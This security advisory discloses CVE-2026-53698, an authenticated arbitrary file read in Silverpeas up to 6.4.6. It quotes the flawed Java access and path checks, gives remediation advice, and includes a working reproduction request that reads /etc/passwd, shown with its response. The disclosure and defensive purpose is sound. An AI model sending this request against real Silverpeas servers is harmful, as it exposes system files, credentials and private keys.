> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CVE-2026-53698: Arbitrary File Read in Silverpeas

> Absolute path injection and improper access control in Silverpeas through version 6.4.6 allow an authenticated user to read arbitrary files.

## Summary

The `FileServer` servlet in Silverpeas through 6.4.6 treats the `SourceFile` parameter as an absolute filesystem path when `TypeUpload` is present and grants access when `ComponentId` is omitted. An authenticated user can combine these behaviors to read arbitrary files available to the application server process.

| Field               | Details                                                                     |
| ------------------- | --------------------------------------------------------------------------- |
| CVE                 | CVE-2026-53698                                                              |
| Weaknesses          | CWE-22: Path Traversal; CWE-284: Improper Access Control                    |
| Affected versions   | Through 6.4.6                                                               |
| Fixed version       | 6.4.7                                                                       |
| Required access     | Low-privilege authenticated account                                         |
| Researcher CVSS 3.1 | 7.7 High; `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`                    |
| Researcher CVSS 4.0 | 8.3 High; `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N` |

<Note>
  The original research assessment uses changed scope and scores this issue 7.7 High under CVSS 3.1. The published CVE record currently uses an unchanged-scope vector and scores it 6.5 Medium.
</Note>

## Technical details

Three behaviors combine to expose an arbitrary file.

### 1. Omitting `ComponentId` bypasses the component check

`FileServer` passes the optional component identifier into `isUserAllowed()`. A missing value is treated as personal-space access and allowed without checking a component:

```java wrap theme={null}
final String componentId = params.get(COMPONENT_ID_PARAMETER);

private boolean isUserAllowed(MainSessionController controller,
    String componentId) {
  boolean isAllowed;
  if (componentId == null) {
    // Personal space
    isAllowed = true;
```

An authenticated user can reach the file-serving path by leaving `ComponentId` out of the request.

### 2. `TypeUpload` changes `SourceFile` into an absolute path

The servlet creates a file descriptor from the request-controlled `SourceFile`. Merely including `TypeUpload`, even with an empty value, enables absolute-path mode:

```java wrap theme={null}
String sourceFile = params.get(SOURCE_FILE_PARAMETER);

SilverpeasFileDescriptor descriptor =
    new SilverpeasFileDescriptor(componentId)
        .fileName(sourceFile)
        .mimeType(mimeType);

if (typeUpload != null) {
  descriptor.absolutePath();
}
```

The file provider then uses that value without prepending a Silverpeas data directory:

```java wrap theme={null}
if (descriptor.isTemporaryFile()) {
  filePath = FileRepositoryManager.getTemporaryPath()
      + descriptor.getFilePath();
} else {
  if (descriptor.isAbsolutePath()) {
    filePath = descriptor.getFilePath();
  } else {
    filePath = FileRepositoryManager
        .getAbsolutePath(descriptor.getComponentInstanceId())
        + descriptor.getFilePath();
  }
}
```

### 3. The path check only looks for traversal sequences

The path guard rejects `../` and `/..`, but it does not reject paths that begin at the filesystem root:

```java wrap theme={null}
public static void assertPathNotRelative(String path)
    throws RelativeFileAccessException {
  String unixPath = FilenameUtils.separatorsToUnix(path);
  if (unixPath != null &&
      (unixPath.contains("../") || unixPath.contains("/.."))) {
    throw new RelativeFileAccessException(...);
  }
}
```

`/etc/passwd` contains no traversal sequence, so it reaches the file provider and is streamed back to the user.

## Reproduction

Sign in with a low-privilege account and send the following request. `ComponentId` is intentionally absent, and `TypeUpload` is present with an empty value:

```http wrap theme={null}
GET /silverpeas/FileServer/file?SourceFile=/etc/passwd&TypeUpload= HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid-session>
```

The response contains the requested operating-system file:

```http wrap theme={null}
HTTP/1.1 200 OK
Content-Disposition: attachment; filename*=UTF-8''passwd
Content-Type: text/plain

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

<Frame caption="Reading /etc/passwd through FileServer">
  <img src="https://mintcdn.com/hackwithmike/p7ac3gH7YlwQqU4v/assets/images/research/silverpeas/cve-2026-53698-file-read.png?fit=max&auto=format&n=p7ac3gH7YlwQqU4v&q=85&s=466c6f870116828b76a7f9f8a6211af6" alt="Authenticated FileServer request returning the contents of /etc/passwd" width="1090" height="709" data-path="assets/images/research/silverpeas/cve-2026-53698-file-read.png" />
</Frame>

## Impact

Any authenticated user can read files available to the Silverpeas operating-system account. Depending on the deployment, this can expose application configuration, database credentials, private keys, deployment secrets, application data, and operating-system files.

## Remediation

Upgrade to Silverpeas 6.4.7 or later. File paths should be resolved below a server-selected data root. If absolute-path support must remain, it should be restricted to explicit server-side directories and authorized call paths. A missing `ComponentId` should not grant unconditional access, and relative-path validation should also reject absolute paths where only relative paths are expected.

## References

* [Research article: FileServer arbitrary file read](/research/silverpeas/2026-09#fileserver-arbitrary-file-read)
* [Silverpeas fix commit](https://github.com/Silverpeas/Silverpeas-Core/commit/caa6e6d1ac967ebd29b39e11c2ef5e7fd0047eec)
* [Silverpeas 6.4.7](https://github.com/Silverpeas/Silverpeas-Core/releases/tag/6.4.7)
* [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-53698)